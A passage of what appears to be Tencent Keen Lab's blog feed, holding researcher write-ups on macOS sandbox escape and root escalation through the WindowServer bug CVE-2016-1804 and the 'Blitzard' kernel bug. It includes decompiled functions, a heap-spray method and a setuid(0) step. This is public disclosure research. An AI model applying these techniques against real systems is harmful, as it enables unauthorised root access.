If we try <code>A</code> but its actually at <code>A+0x1000</code>, we will read byte at +0x1000 of <code>IGAccelVideoContext</code>, which is 0, then we can try again with <code>A+0x1000</code> to read the correct value.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469800272540.png" alt="0x1000-offset"></p><p>These two figures may give you a more clearly concept on this trial-and-error approach.<br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469799496455.png" alt="first-try"><br><img src="/en/img/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/1469799508728.png" alt="second-try"></p><h2 id="Wrap-it-up"><a href="#Wrap-it-up" class="headerlink" title="Wrap it up"></a>Wrap it up</h2><p>Leak arbitrary address, leak vtable pointer, prepare your gadgets, ahh. I’m a bit tired hmm, so if you are curious about what the <code>blitzard</code> vulnerability itself actually is, don’t miss our talk at Mandalay Bay GH at August 3 11:30, Blackhat USA. Wish to see you there :)</p><p>Also, it’s a pity the vulnerability is not selected for pwnie nominations, we will come up with a better one next year :)</p><p>Here is the video, some spraying time is omitted:</p><div class="video-container"><iframe src="https://www.youtube.com/embed/1bnSDgzZDc0" frameborder="0" loading="lazy" allowfullscreen></iframe></div>]]></content>
    
    
    <summary type="html">&lt;p&gt;In previous blog posts Liang talked about the userspace privilege escalation vulnerability we found in WindowServer. Now in following articles I will talk about the &lt;code&gt;Blitzard&lt;/code&gt; kernel bug we used in this year’s pwn2own to escape the Safari renderer sandbox, existing in the &lt;code&gt;blit&lt;/code&gt; operation of graphics pipeline. From a exploiter’s prospective we took advantage of an vector out-of-bound access which under carefully prepared memory situations will lead to write-anywhere-but-value-restricted to achieve both infoleak and RIP control. In this article we will introduce the exploitation methods we played with mainly in kalloc.48 and kalloc.4096. &lt;/p&gt;
&lt;p&gt;First we will first introduce the very function which the overflow occurs, what we can control and how these affect our following exploitation. &lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>WindowServer: The privilege chameleon on macOS (Part 2)</title>
    <link href="http://keenlab.tencent.com/en/2016/07/28/WindowServer-The-privilege-chameleon-on-macOS-Part-2/"/>
    <id>http://keenlab.tencent.com/en/2016/07/28/WindowServer-The-privilege-chameleon-on-macOS-Part-2/</id>
    <published>2016-07-28T05:06:30.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p>From my last blog post “WindowServer: The privilege chameleon on macOS (Part 1)”, we discussed some basic concepts, the history and architecture of WindowServer, as well as the details of CVE-2016-1804 - A Use-After-Free (Or we can also call it double free) bug with very small time window. Several troubles still exist before we can write the exploit code of this bug, now let’s resolve them one by one.</p><span id="more"></span><h2 id="0x9-Sandbox-not-defined-Cannot-open"><a href="#0x9-Sandbox-not-defined-Cannot-open" class="headerlink" title="0x9 Sandbox not defined &#x3D;&#x3D; Cannot open?"></a>0x9 Sandbox not defined &#x3D;&#x3D; Cannot open?</h2><p>Since the Free and Use primitive reside in a single MIG call, it is not possible to fill in the controlled data in between two frees. Also all CoreGraphics server APIs are  running in a single-threaded server loop, we can not use other APIs in CoreGraphics to control the freed memory content. The only possible way is to leverge QuartzCore APIs which run at another thread. QuartzCore is also known as CoreAnimation. Compared with CoreGraphics, QuartzCore framework provides with more complex graphics operation such as animation when multiple layers are involved in the action. Unlike CoreGraphics, QuartzCore service is not explicitly defined in application’s sandbox. </p><p>Does it mean we cannot open the port of QuartzCore service? By taking traditional approach, we cannot open as it is blocked by sandbox. But let’s review the last blog post, did we miss some key part? </p><p>Yes, remember we have three different types of complex message: OOL descriptor message, port descriptor message, and OOL port descriptor message. Port descriptor is needed in case we can not create a mach port at our process and have to use IPC to make the server process to create the port and send it back to our process. This is quite similiar with DuplicateHandle API on Windows platform. Thus, we assume there exists a server interface in CoreGraphics API that can help create the service port of com.apple.CARenderServer. By auditing the code, we finally find the right one: __XCreateLayerContext:</p><img src="/en/img/WindowServer-The-privilege-chameleon-on-macOS-part-2/openport1.png" width="50%"><h2 id="0xA-QuartzCore-the-hidden-interface-and-new-territory"><a href="#0xA-QuartzCore-the-hidden-interface-and-new-territory" class="headerlink" title="0xA QuartzCore: the hidden interface, and new territory"></a>0xA QuartzCore: the hidden interface, and new territory</h2><p>Because QuartzCore service is not explicitly defined to allow open in application sandbox. By code auditing we find there is no sandbox consideration in any of its service interface.For example, _XSetMessageFile interface allows sandboxed application to set the log file path and file name. In other words, sandboxed application can create any files under any path within windowserver user’s privilege, although the windowserver privilege is quite limited, it still deviates from the original sandbox’s privilege scope. On iOS the impact is higher because the backboardd process is running under mobile user, which means you can create any file under the path where mobile user can create.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall _XSetMessageFile(__int64 a1, __int64</span><br><span class="line">   a2)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> ( <span class="built_in">memchr</span>((<span class="type">const</span> <span class="type">void</span> *)(a1 + <span class="number">40</span>), <span class="number">0</span>, v5) ) <span class="comment">//a1 + 40</span></span><br><span class="line">  is user controllable, which is the file path</span><br><span class="line">&#123;</span><br><span class="line">  LOBYTE(v6) = CASSetMessageFile(*(<span class="type">unsigned</span> <span class="type">int</span> *)(a1 + <span class="number">12</span>), </span><br><span class="line">  (<span class="type">const</span> <span class="type">char</span> *)(a1 + <span class="number">40</span>)); <span class="comment">//will set create thefile whose path and filename can be specified by user</span></span><br><span class="line">*(_DWORD *)(a2 + <span class="number">32</span>) = v6;</span><br><span class="line">  &#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123; </span><br><span class="line">LABEL_14:</span><br><span class="line">    *(_DWORD *)(a2 + <span class="number">32</span>) = <span class="number">-304</span>;</span><br><span class="line">&#125;</span><br><span class="line">  result = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  *(_QWORD *)(a2 + <span class="number">24</span>) = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>But this bug is not critical in our case. By calling __XCreateLayerContext, at least we found a way now to control another thread and had some hope for exploiting CVE-2016-1804.</p><h2 id="0xB-Crash-on-failure"><a href="#0xB-Crash-on-failure" class="headerlink" title="0xB Crash on failure?"></a>0xB Crash on failure?</h2><p>In race condition case, the key factor of the exploitability is whether failure of racing will result in panic or process crash especially when the racing time window is small. At the first glance, it is normal for process to crash with a double free on same memory block. Considering the following code:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> * buf = <span class="literal">NULL</span>;</span><br><span class="line">buf = <span class="built_in">malloc</span>(<span class="number">0x60</span>);</span><br><span class="line"><span class="built_in">memset</span>(buf , <span class="number">0x41</span>, <span class="number">0x60</span>);</span><br><span class="line"><span class="built_in">free</span>(buf);</span><br><span class="line"><span class="built_in">free</span>(buf);</span><br></pre></td></tr></table></figure><p>When running on OS X, it will result in process crash:</p><pre>checkCFData(878,0x7fff79c57000) malloc: *** error for object 0x7fe9ba40f000: pointer being freed was not allocated*** set a breakpoint in malloc_error_break to debug[1]    878 abort</pre><p>Now let’s try CFRelease case:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CFDataRef data = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, buf, <span class="number">0x60</span>, kCFAllocatorNull);</span><br><span class="line">CFRelease(data);</span><br><span class="line">CFRelease(data); <span class="comment">//No crash will happen</span></span><br></pre></td></tr></table></figure><p>Surprisingly there is no crash! That is good news for this bug. It means we can try triggering this bug a lot of times until success. Here is the strategy to fill in controlled data in between two CFRelease:</p><img src="/en/img/WindowServer-The-privilege-chameleon-on-macOS-part-2/fillinworkflow.png" width="50%"><h2 id="0xC-Race-to-fill-in-the-controlled-data"><a href="#0xC-Race-to-fill-in-the-controlled-data" class="headerlink" title="0xC Race to fill in the controlled data"></a>0xC Race to fill in the controlled data</h2><p>The next problem is: what API in QuartzCore should be chosen to fill in the freed CFData struct? This is still a challenge because:</p><ul><li>CFData is 0x30 in size, we need an object whose size is also 0x30 to fill in</li><li>In that API, not so much noise (a lot of irrelevant 0x30 objects may cause higher rate of failure )</li><li>Higher rate of being filled in. (Better to be a loop to allocate objects again and again)</li><li>The first 8 bytes of the 0x30 object can be controlled. (Can confuse the method table of CFData)<br>This part is the key in the whole exploitation process and I would like to discuss in detail next week at <a href="https://www.blackhat.com/us-16/briefings.html#subverting-apple-graphics-practical-approaches-to-remotely-gaining-root">Black Hat USA.</a></li></ul><p>After finding a good API candidate to fill in, we got stable crash on controlled address:</p><img src="/en/img/WindowServer-The-privilege-chameleon-on-macOS-part-2/controlledmemory.png" width="50%"><h2 id="0xD-HeapSpray"><a href="#0xD-HeapSpray" class="headerlink" title="0xD HeapSpray"></a>0xD HeapSpray</h2><p>Heap spraying is always an interesting problem in 64bit process. On OS X, for small block heap memory allocation, a randomized heap based is involved. Considering the following code:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">buf = <span class="built_in">malloc</span>(<span class="number">0x60</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;addr is %p.\n&quot;</span>, buf);</span><br></pre></td></tr></table></figure><p>By running the code several times, the results are:</p><pre>addr is 0x7fd1e8c0f000.addr is 0x7fb720c0f000.addr is 0x7f8b2a40f000.</pre><p>We can see the 5th byte of the address varies between diferent processes, which means you need to spray more than 1TB memory to achieve reliable heap spraying. However for large block (larger than 0x20000) of memory, the randomization are not that good:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">buf = <span class="built_in">malloc</span>(<span class="number">0x20000</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;addr is %p.\n&quot;</span>, buf);</span><br></pre></td></tr></table></figure><p>The addresses are like this:</p><pre>addr is 0x10d2ed000.addr is 0x104ff7000.addr is 0x10eb68000.</pre><p>The higher 4 bytes are always 1, and the address allocation is from lower address to higher address. By allocating a lot of 0x20000 blocks we can make sure some fixed addresses  filling with our desired data. The next question is: how can we do heap spraying in WindowServer process? There are a lot of interfaces within CoreGraphics, and we need to find those which meet the following criteria:<br>– Interface accepts OOL message<br>– Interface will allocate user controllable memory and not free it immediately<br>We finally pick up interface _XSetConnectionProperty. We can specify different key&#x2F;value pairs and set it in the connection based dictionary, where the memory will be kept within WindowServer process.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall <span class="title function_">CGXSetConnectionProperty</span><span class="params">(<span class="type">int</span> a1, __int64 a2, __int64 a3)</span></span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">v3 = a3;</span><br><span class="line"><span class="keyword">if</span> ( !a2 )</span><br><span class="line">  <span class="keyword">return</span>;</span><br><span class="line"><span class="keyword">if</span> ( a1 )</span><br><span class="line">&#123;</span><br><span class="line">  v5 = CGXConnectionForConnectionID();</span><br><span class="line">  v6 = v5;</span><br><span class="line"><span class="keyword">if</span> ( !v5 )</span><br><span class="line">   <span class="keyword">return</span>;</span><br><span class="line"> v7 = *(_QWORD *)(v5 + <span class="number">160</span>); <span class="comment">//get the connection based dictionary, if not exist, create it.</span></span><br><span class="line"><span class="keyword">if</span> ( !v7 ) &#123;</span><br><span class="line">v7 = CFDictionaryCreateMutable(<span class="number">0LL</span>, <span class="number">0LL</span>,</span><br><span class="line">kCFTypeDictionaryKeyCallBacks_ptr,</span><br><span class="line">kCFTypeDictionaryValueCallBacks_ptr);</span><br><span class="line">   *(_QWORD *)(v6 + <span class="number">160</span>) = v7;</span><br><span class="line"> &#125;</span><br><span class="line"><span class="keyword">if</span> ( v3 )</span><br><span class="line">CFDictionarySetValue(v7, a2, v3);</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="0xE-ASLR-DEP-Code-Execution"><a href="#0xE-ASLR-DEP-Code-Execution" class="headerlink" title="0xE ASLR&#x2F;DEP&#x2F;Code Execution"></a>0xE ASLR&#x2F;DEP&#x2F;Code Execution</h2><p>ASLR is not a problem in our case as we pwn Safari browser first and the base addresses of most apple framework are the same among different processes. DEP can also be bypassed by ROP. Code execution is not a big deal, can refer to the <a href="http://phrack.org/issues/66/4.html">phrack article</a>.</p><h2 id="0xF-Hey-Chameleon-Now-I-want-you-to-be-ROOT"><a href="#0xF-Hey-Chameleon-Now-I-want-you-to-be-ROOT" class="headerlink" title="0xF Hey Chameleon, Now I want you to be ROOT!"></a>0xF Hey Chameleon, Now I want you to be ROOT!</h2><p>As we know, we successfully bypassed Apple sandbox to get current user’s context by exploiting CVE-2014-1314. And by finding the hidden interface, we obtained a new territory and found a bug which allows writing arbitrary files under _windowserver’s context.<br>How about CVE-2016-1804? As we got arbitrary code execution within WindowServer process, why not try calling setuid(0) and see what happened?<br>The result is amazing, we successfully get root!!</p><pre>root  560 0.0 0.7  2614800  33888   ??  SXs   4:30上午   0:00.04 /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Resources/WindowServer -daemon</pre><p>Why? We know that WindowServer has session management feature and need to fork new login process under user’s context, so it must have setuid privilege. But how it is implemented?</p><p>Actually when WindowServer process is firstly spawned by launchd daemon, it is running as root which inherited its parent process’s uid.</p><pre>(lldb) chenliangs-Mac:~ chenliang$ sudo lldb(lldb) process attach --name WindowServer  --waitforProcess 910 stopped* thread #1: tid = 0x5cda, 0x00007fff6314d302 dyld`stat64 + 10, stop reason = signal SIGSTOP    frame #0: 0x00007fff6314d302 dyld`stat64 + 10dyld`stat64:->  0x7fff6314d302 <+10>: jae    0x7fff6314d30c            ; <+20>    0x7fff6314d304 <+12>: mov    rdi, rax    0x7fff6314d307 <+15>: jmp    0x7fff6314c89c            ; cerror_nocancel    0x7fff6314d30c <+20>: ret    Executable module set to "/System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Resources/WindowServer".Architecture set to: x86_64-apple-macosx.(lldb) expr -- (int)getuid()(int) $0 = 0(lldb) expr -- (int)getgid()(int) $1 = 0(lldb) expr -- (int)geteuid()(int) $2 = 0(lldb) expr -- (int)getegid()(int) $3 = 0</pre><p>Then some code is executed to change WindowServer’s euid to 88 (_windowserver) while its uid is never changed. That will limit the process’s capability if we have logical bug as _windowserver’s permission is quite limited:</p><pre>(lldb) bt* thread #1: tid = 0x2ef1, 0x00007fff955c364c libsystem_kernel.dylib`seteuid, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2  * frame #0: 0x00007fff955c364c libsystem_kernel.dylib`seteuid    frame #1: 0x00007fff8612db15 CoreGraphics`CGXRestoreCredentials + 192    frame #2: 0x00007fff8641024d CoreGraphics`CGXRunOneServicesPass + 784    frame #3: 0x00007fff86314f9d CoreGraphics`post_notification(CGSNotificationType, void*, unsigned long, bool, double, int, unsigned int const*, int) + 325    frame #4: 0x00007fff861fc4f2 CoreGraphics`CGXDisplaysWillReconfigure + 1230    frame #5: 0x00007fff861f6110 CoreGraphics`reconfigureDisplays + 2351    frame #6: 0x00007fff861f36b6 CoreGraphics`setup_and_reconfigure_displays + 314    frame #7: 0x00007fff86412001 CoreGraphics`CGXServer + 6213    frame #8: 0x000000010cc24f7e WindowServer`_mh_execute_header + 3966    frame #9: 0x00007fff91e975ad libdyld.dylib`start + 1    frame #10: 0x00007fff91e975ad libdyld.dylib`start + 1(lldb) reg readGeneral Purpose Registers:       rax = 0x0000000000000000       rbx = 0x0000000000000058       rcx = 0x00007fff955c363e  libsystem_kernel.dylib`setegid + 10       rdx = 0x0000000000000000       rdi = 0x0000000000000058 // change euid to _windowserver(88)       rsi = 0x00007fff52fd2fa0       rbp = 0x00007fff52fcaf30       rsp = 0x00007fff52fcaef8        r8 = 0x0000000000000002        r9 = 0x0000000000000000       r10 = 0x00007fff955c3656  libsystem_kernel.dylib`seteuid + 10       r11 = 0x0000000000000292       r12 = 0x00007fc8c1412290       r13 = 0x0000000000000101       r14 = 0x0000005800000058       r15 = 0x00007fff52fd2fa0       rip = 0x00007fff955c364c  libsystem_kernel.dylib`seteuid    rflags = 0x0000000000000202        cs = 0x000000000000002b        fs = 0x0000000000000000        gs = 0x0000000000000000</pre><p>And that will make ps utility show _windowserver in the output:</p><pre>_windowserver 910 0.0  1.6  3368352  78004   ??  SXs   7:51上午   0:02.57 /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Resources/WindowServer -daemon</pre><p>That is quite confusing. If we use lldb, we can clearly figure out its euid is _windowserver while its uid is still root, and make WindowServer a privilege chameleon.</p><pre>(lldb) expr -- (int)getuid()(int) $4 = 0(lldb) expr -- (int)geteuid()(int) $5 = 88(lldb) expr -- (int)getgid()(int) $6 = 0(lldb) expr -- (int)getegid()(int) $7 = 88</pre><p>So finally we wrap up CVE-2016-1804 with full remote root by chaining with Safari exploit. </p><div class="video-container"><iframe src="https://www.youtube.com/embed/TvxEClEZtxc" frameborder="0" loading="lazy" allowfullscreen></iframe></div><p>Oh, wait… How to race and fill in the controlled data in between two free, is still unknown? No worries, next week at Black Hat you will get all the answer…</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;From my last blog post “WindowServer: The privilege chameleon on macOS (Part 1)”, we discussed some basic concepts, the history and architecture of WindowServer, as well as the details of CVE-2016-1804 - A Use-After-Free (Or we can also call it double free) bug with very small time window. Several troubles still exist before we can write the exploit code of this bug, now let’s resolve them one by one.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>WindowServer: The privilege chameleon on macOS (Part 1)</title>
    <link href="http://keenlab.tencent.com/en/2016/07/22/WindowServer-The-privilege-chameleon-on-macOS-Part-1/"/>
    <id>http://keenlab.tencent.com/en/2016/07/22/WindowServer-The-privilege-chameleon-on-macOS-Part-1/</id>
    <published>2016-07-22T05:02:15.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p>When talking about Apple Graphics, the WindowServer component should not be neglected. Rencently KeenLab has been talking about Apple graphics IOKit components at POC 2015 “<a href="http://powerofcommunity.net/poc2015/liang.pdf">OS X Kernel is As Strong as its Weakest Part</a>“, CanSecWest 2016 “<a href="https://cansecwest.com/slides/2016/CSW2016_Chen-Grassi-He_Apple_Graphics_Is_Compromised.pdf">Don’t Trust Your Eye: Apple Graphics Is Compromised!</a>“, and RECon 2016 “<a href="https://speakerdeck.com/flankerhqd/shooting-the-osx-el-capitan-kernel-like-a-sniper">Shooting the OS X El Capitan Kernel Like a Sniper</a>“, however the userland part is seldomly mentioned in public. </p><p>This week Pwnie announced bug nominations for 2016, where the windowserver bug CVE-2016-1804 is <a href="http://pwnies.com/nominations/">listed</a> , it made me think of writing something. But when I started writing, I realized it is a long story. Then I realized a long story can be cut into short stories (I also realized my IQ is low recently which many of my colleagues have pointed out, due to extremely hot weather in Shanghai maybe, or not…) </p><p>So…I decided to split the whole story into 3. In part 1, I will mainly focus on the history of windowserver, basic concepts, architecture, CVE-2014-1314 (A design flaw which we used to take down OS X Mavericks at Pwn2Own 2014) and finally, details of the pwnie nomination bug: CVE-2016-1804, which we used to take down the latest OS X El Capitan remotely with a browser exploit and escalated to root privilege. However when I first discovered CVE-2016-1804 last year, it had been considered unexploitable, at least for 1 week. Part 1 then wrapped up here with questions&#x2F;challenges. </p><p>Next week I will release part 2 for the partial exploitation by introducing an 0day which gave me inspiration of the successful exploitation of CVE-2016-1804. The last part: part 3, which is the most exciting part, is NOT a blog post, instead it will be discussed at Black Hat 2016 Briefings “<a href="https://www.blackhat.com/us-16/briefings.html#subverting-apple-graphics-practical-approaches-to-remotely-gaining-root">SUBVERTING APPLE GRAPHICS: PRACTICAL APPROACHES TO REMOTELY GAINING ROOT</a>“</p><p>Ok, now let’s start the short story:</p><span id="more"></span><h2 id="0x1-Introduction"><a href="#0x1-Introduction" class="headerlink" title="0x1 Introduction"></a>0x1 Introduction</h2><p>Apple Graphics is one of the most complex components in Apple world (OS X and iOS). It mainly contains the following two parts:<br>– Userland part<br>– Kernel IOKit drivers<br>OS X and iOS have similar graphics architecture. The userland graphics of OS X is mainly handled by “WindowServer” process while on iOS it is “SpringBoard&#x2F;backboardd” process. The userland graphics combined with the kernel graphics drivers are considered as counterpart of “win32k.sys” on Windows, although the architecture is a little diferent between each other. The userland part of Apple graphics is handled in a separate process while Windows provides with a set of GDI32 APIs which calls the kernel “win32k.sys” directly. Apple’s approach is more secure from the architecture’s perspective as the userland virtual memory is not shared between processes, which increase the exploitation difficulty especially when SMEP&#x2F;SMAP is not enforced.</p><h2 id="0x2-WindowServer-Overview"><a href="#0x2-WindowServer-Overview" class="headerlink" title="0x2 WindowServer Overview"></a>0x2 WindowServer Overview</h2><p>The WindowServer process mainly contains two private framework: CoreGraphics and QuartzCore, each running under a separate thread. Each framework contains two sets of APIs:<br>– Client side API: Functions starting with “CGS” (CoreGraphics) or “CAS” (QuartzCore)<br>e.g</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall _CGSGetWindowShape(<span class="type">mach_port_t</span> a1, <span class="type">int</span> a2, _QWORD *a3, _DWORD *a4)</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>– Server side API: Functions starting with “__X” (e.g __XCreateSession)<br>e.g.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall _XGetWindowShape(_DWORD *a1, __int64 a2)</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The client side API can be called from any client processes. Client APIs are implemented by obtaining the target mach port, composing a mach message and sending the message by calling mach_msg mach API with specific message IDs and send&#x2F;receive size. Server side API is called by WindowServer’s specific thread. Both CoreGraphics and QuartzCore threads have dedicated server loop waiting for new client message to reach. Once client message reaches, the dispatcher code intercepts the message and calls the corresponding server API based on the message ID.<br>Here is a snapshot of WindowServer process:<br><img src="/en/img/WindowServer-The-privilege-chameleon-on-macOS-part-1/windowserverprocess.png"></p><h2 id="0x3-Sandbox-consideration"><a href="#0x3-Sandbox-consideration" class="headerlink" title="0x3 Sandbox consideration"></a>0x3 Sandbox consideration</h2><p>Almost every process (including sandboxed applications) can call interfaces in WindowServer process through MIG (Mach Interface Generator) IPC. Browser applications including Safari can directly reach WindowServer interfaces from restrictive sandboxed context. Vulnerabilities in WindowServer process may lead to sandbox escape from a remote browser based drive-by attack. It may also lead to root privilege escalation as the WindowServer process behaves like a privilege chameleon. Safari WebContent process has its own sandbox profile defined in &#x2F;System&#x2F;Library&#x2F;Frameworks&#x2F;WebKit.framework&#x2F;Versions&#x2F;A&#x2F;Resources&#x2F;com.apple.WebProcess.sb, WindowServer service API is allowed by the following rule:</p><pre>(allow mach-lookup      (global-name "com.apple.windowserver.active"))</pre><p>Here it seems the QuartzCore interface is not explicitly defined, so here we focus on CoreGraphics interfaces first.</p><p>Three years ago when we decided to explore sandbox escape vulnerabilities on OS X, we picked up attack surfaces which meets the following critiria:</p><ul><li>Interfaces which can be reached by browser (Because at that time my IQ was not that low.)</li><li>Components which run at weak sandbox profiles or no sandbox</li><li>Components which have been lasting for a long time, especially those born before Apple Sandbox was introduced at OS X Leopard. This is typical hacker’s thought which I learned from the ASLR story. When ASLR was first introduced in Windows Vista, a lot of previously useless information leak vulnerabilties becomes vital in breaking ASLR, most of which can be very reliably exploited as they are nothing relating to memory corruption, instead they are just some logic flaws which were never considered flaw before ASLR was born.</li><li>etc.</li></ul><p>After that, windowserver became one of our key focus on vulnerability discovery work.</p><h2 id="0x4-MIG-IPC"><a href="#0x4-MIG-IPC" class="headerlink" title="0x4 MIG IPC"></a>0x4 MIG IPC</h2><p>MIG IPC can be described by the following graph from Google PZ’s team blog:<br><img src="/en/img/WindowServer-The-privilege-chameleon-on-macOS-part-1/machIPC.png"><br>Source: <a href="http://googleprojectzero.blogspot.kr/2014/11/pwn4fun-spring-2014-safari-part-ii.html">http://googleprojectzero.blogspot.kr/2014/11/pwn4fun-spring-2014-safari-part-ii.html</a></p><p>Like the IPC on other morden OS, MIG IPC can pass information between processes. Considering the following senario, kernel is involved in the process of the IPC:</p><ul><li>When process A wants to pass a pointer to process B</li><li>When process A wants to pass a mach port to process B (On Windows, similiar concept is HANDLE)<br>On the above senario, it is not easy just to pass the value itself between processes, instead kernel needs to map the address or allocate a mach port which represents kernel object for the target process. In Apple world, in the first senario the message is called Out Of Line(OOL) descriptor message and the second is called port descriptor message.<br>Let’s look at the API mach_msg defined by MIT:<pre>mach_msg_return_t   mach_msg                  (mach_msg_header_t                msg,                   mach_msg_option_t             option,                   mach_msg_size_t            send_size,                   mach_msg_size_t        receive_limit,                   mach_port_t             receive_name,                   mach_msg_timeout_t           timeout,                   mach_port_t                   notify);</li></ul><p>PARAMETERS<br>msg<br>    [pointer to in&#x2F;out structure containing random and reply rights]<br>    A message buffer used by mach_msg both for send and receive. This must be naturally aligned.<br></pre></p><p>The msg parameter is interesting, it starts with mach_msg_header_t structure:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span><span class="class"><span class="keyword">struct</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="type">mach_msg_bits_t</span>msgh_bits;</span><br><span class="line">  <span class="type">mach_msg_size_t</span>msgh_size;</span><br><span class="line">  <span class="type">mach_port_t</span>msgh_remote_port;</span><br><span class="line">  <span class="type">mach_port_t</span>msgh_local_port;</span><br><span class="line">  <span class="type">mach_port_name_t</span>msgh_voucher_port;</span><br><span class="line">  <span class="type">mach_msg_id_t</span>msgh_id;</span><br><span class="line">&#125; <span class="type">mach_msg_header_t</span>;</span><br></pre></td></tr></table></figure><p>Here the highest bit of the 32bit msgh_bits defines whether it is a simple message (0x0) or a complex one (0x1). Simple message means no pointer or port is passed to the target process, and in this case the real message data is just apended right after the mach_msg_header_t.<br>Complex message can be categorized into 3:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">union</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="type">mach_msg_port_descriptor_t</span>port;</span><br><span class="line">  <span class="type">mach_msg_ool_descriptor_t</span>out_of_line;</span><br><span class="line">  <span class="type">mach_msg_ool_ports_descriptor_t</span>ool_ports;</span><br><span class="line">  <span class="type">mach_msg_type_descriptor_t</span>type;</span><br><span class="line">&#125; <span class="type">mach_msg_descriptor_t</span>;</span><br></pre></td></tr></table></figure><p>The three types are:</p><ul><li>mach_msg_port_descriptor_t: a port descriptor message</li><li>mach_msg_ool_descriptor_t: OOL descriptor message</li><li>mach_msg_ool_ports_descriptor_t: OOL port descriptor (Pointer pointing to a list of mach ports)<br>The type definition is:<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> MACH_MSG_PORT_DESCRIPTOR 0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MACH_MSG_OOL_DESCRIPTOR  1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MACH_MSG_OOL_PORTS_DESCRIPTOR 2</span></span><br></pre></td></tr></table></figure></li></ul><p>So when you want to send a complex message, set the highest bit of the 32bit msgh_bits to 1 in mach_msg_header_t, followed by msgh_descriptor_count indicating the number of complex descriptors in the message:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">        <span 